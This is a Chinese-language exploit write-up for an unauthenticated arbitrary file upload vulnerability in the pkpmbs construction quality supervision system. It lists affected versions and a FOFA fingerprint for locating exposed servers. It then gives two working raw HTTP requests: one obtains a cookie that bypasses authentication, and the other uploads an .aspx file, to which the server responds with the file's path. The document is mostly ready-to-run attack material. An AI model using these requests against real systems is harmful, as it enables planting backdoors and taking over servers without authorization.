P9-1pkpmbs-建设工程质量监督系统-文件上传

漏洞描述：

pkpmbs 建设工程质量监督系统 FileUpOrDown.aspx、/Platform/System/FileUpload.ashx、接口处存在任意文件上传漏洞，未经身份认证的攻击者可以利用漏洞上传恶意后门文件，从而获取服务器权限。

影响版本：

标准版 <= 2.2023.0328.172228

网站图片：

网络测绘：

fofa语法：

FOFA：icon_hash="2001627082"

漏洞复现：

payload：

```
GET /Login.cshtml HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
```

效果图:
取有效cookie，绕过权限认证

携带cookie，上传文件

```
POST /Applications/Forms/SearchSetting/FileUpOrDown.ashx?operation=Fileupload&extName=.aspx&&searchConfigName=上传的文件名 HTTP/1.1
Host: your-ip
Cookie: your-cookie
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqACRhAMBHmQQAUP
Content-Length: 185

------WebKitFormBoundarybqACRhAMBHmQQAUP
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: image/png

test
------WebKitFormBoundarybqACRhAMBHmQQAUP--
```

回显了上传路径，验证